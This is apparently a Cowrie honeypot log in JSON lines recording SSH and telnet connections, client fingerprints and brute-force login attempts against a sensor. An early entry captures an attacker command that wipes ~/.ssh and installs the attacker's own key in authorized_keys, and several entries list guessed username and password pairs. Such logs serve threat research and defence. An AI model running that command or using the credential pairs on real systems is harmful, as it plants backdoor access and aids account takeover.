{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:32.989137Z","src_ip":"49.247.36.49","session":"a6829ceee6ba","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:33.470295Z","src_ip":"49.247.36.49","session":"a6829ceee6ba","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:33.473655Z","src_ip":"49.247.36.49","session":"a6829ceee6ba","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:33.687800Z","src_ip":"49.247.36.49","session":"a6829ceee6ba","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:33.692102Z","src_ip":"49.247.36.49","session":"a6829ceee6ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":1313,"dst_ip":"10.17.0.5","dst_port":22,"session":"56133e4f609e","protocol":"ssh","message":"New connection: 49.247.36.49:1313 (10.17.0.5:22) [session: 56133e4f609e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:33.894337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:33.902410Z","src_ip":"49.247.36.49","session":"56133e4f609e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:34.106577Z","src_ip":"49.247.36.49","session":"56133e4f609e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:34.952505Z","src_ip":"49.247.36.49","session":"56133e4f609e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:36.160207Z","src_ip":"49.247.36.49","session":"56133e4f609e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46522,"dst_ip":"10.17.0.5","dst_port":23,"session":"213be5433c7a","protocol":"telnet","message":"New connection: 64.227.101.30:46522 (10.17.0.5:23) [session: 213be5433c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:36.195639Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":27579,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5a65943ad9b","protocol":"ssh","message":"New connection: 49.247.36.49:27579 (10.17.0.5:22) [session: f5a65943ad9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:36.355398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:36.360731Z","src_ip":"49.247.36.49","session":"f5a65943ad9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:36.566017Z","src_ip":"49.247.36.49","session":"f5a65943ad9b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:37.411443Z","src_ip":"49.247.36.49","session":"f5a65943ad9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:37.618240Z","src_ip":"49.247.36.49","session":"a6829ceee6ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:37.622427Z","src_ip":"49.247.36.49","session":"f5a65943ad9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36186,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd06edfece94","protocol":"telnet","message":"New connection: 64.227.101.30:36186 (10.17.0.5:23) [session: cd06edfece94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:40.792852Z"}
{"eventid":"cowrie.session.closed","duration":0.006103515625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:40.798778Z","src_ip":"64.227.101.30","session":"cd06edfece94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.93874764442444,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:47.743448Z","src_ip":"64.227.101.30","session":"50a6d5ac3a9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.05217480659485,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:49.869727Z","src_ip":"64.227.101.30","session":"71f0a95989ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54336,"dst_ip":"10.17.0.5","dst_port":23,"session":"c350635331e9","protocol":"telnet","message":"New connection: 64.227.101.30:54336 (10.17.0.5:23) [session: c350635331e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:58.243581Z"}
{"eventid":"cowrie.session.closed","duration":38.48919081687927,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:50:58.939234Z","src_ip":"64.227.101.30","session":"905f37850dc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":48422,"dst_ip":"10.17.0.5","dst_port":22,"session":"5569a76a6566","protocol":"ssh","message":"New connection: 78.40.217.56:48422 (10.17.0.5:22) [session: 5569a76a6566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:08.459109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:08.464381Z","src_ip":"78.40.217.56","session":"5569a76a6566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:08.599544Z","src_ip":"78.40.217.56","session":"5569a76a6566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Linux2026","message":"login attempt [root/Linux2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:09.169901Z","src_ip":"78.40.217.56","session":"5569a76a6566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:10.309398Z","src_ip":"78.40.217.56","session":"5569a76a6566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50452,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f43003ab5a9","protocol":"telnet","message":"New connection: 64.227.101.30:50452 (10.17.0.5:23) [session: 7f43003ab5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:14.999373Z"}
{"eventid":"cowrie.session.closed","duration":38.809855937957764,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:15.005385Z","src_ip":"64.227.101.30","session":"213be5433c7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.010144948959350586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:15.009390Z","src_ip":"64.227.101.30","session":"7f43003ab5a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":59626,"dst_ip":"159.203.135.109","dst_port":23,"session":"98c86da6b34d","protocol":"telnet","message":"New connection: 68.183.198.12:59626 (159.203.135.109:23) [session: 98c86da6b34d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:15.846870Z"}
{"eventid":"cowrie.session.connect","src_ip":"158.220.106.17","src_port":60266,"dst_ip":"10.17.0.5","dst_port":23,"session":"7067d35bbc11","protocol":"telnet","message":"New connection: 158.220.106.17:60266 (10.17.0.5:23) [session: 7067d35bbc11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:19.624720Z"}
{"eventid":"cowrie.session.closed","duration":88.51454830169678,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:24.745244Z","src_ip":"64.227.101.30","session":"4b29b5ae752d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33024,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc451c217014","protocol":"telnet","message":"New connection: 64.227.101.30:33024 (10.17.0.5:23) [session: cc451c217014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:28.667133Z"}
{"eventid":"cowrie.session.closed","duration":35.95332622528076,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:34.196765Z","src_ip":"64.227.101.30","session":"c350635331e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":52363,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8b279987a06","protocol":"ssh","message":"New connection: 49.247.36.49:52363 (10.17.0.5:22) [session: e8b279987a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:41.122962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:41.128041Z","src_ip":"49.247.36.49","session":"e8b279987a06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:41.332782Z","src_ip":"49.247.36.49","session":"e8b279987a06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kaka1234","message":"login attempt [root/kaka1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:42.185170Z","src_ip":"49.247.36.49","session":"e8b279987a06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:43.395512Z","src_ip":"49.247.36.49","session":"e8b279987a06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.215.105.107","src_port":30811,"dst_ip":"10.17.0.5","dst_port":23,"session":"031c6dfbc7a7","protocol":"telnet","message":"New connection: 82.215.105.107:30811 (10.17.0.5:23) [session: 031c6dfbc7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:45.998007Z"}
{"eventid":"cowrie.session.closed","duration":13.339096546173096,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:51:59.336991Z","src_ip":"82.215.105.107","session":"031c6dfbc7a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":38334,"dst_ip":"10.17.0.5","dst_port":22,"session":"15664cb85dad","protocol":"ssh","message":"New connection: 78.40.217.56:38334 (10.17.0.5:22) [session: 15664cb85dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:01.957384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:01.962466Z","src_ip":"78.40.217.56","session":"15664cb85dad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:02.118605Z","src_ip":"78.40.217.56","session":"15664cb85dad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"abcd","message":"login attempt [user/abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:02.766230Z","src_ip":"78.40.217.56","session":"15664cb85dad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:03.929217Z","src_ip":"78.40.217.56","session":"15664cb85dad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.7122700214386,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:04.559048Z","src_ip":"68.183.198.12","session":"98c86da6b34d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.39528203010559,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:05.020033Z","src_ip":"158.220.106.17","session":"7067d35bbc11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.13260221481323,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:07.799650Z","src_ip":"64.227.101.30","session":"cc451c217014","protocol":"telnet"}
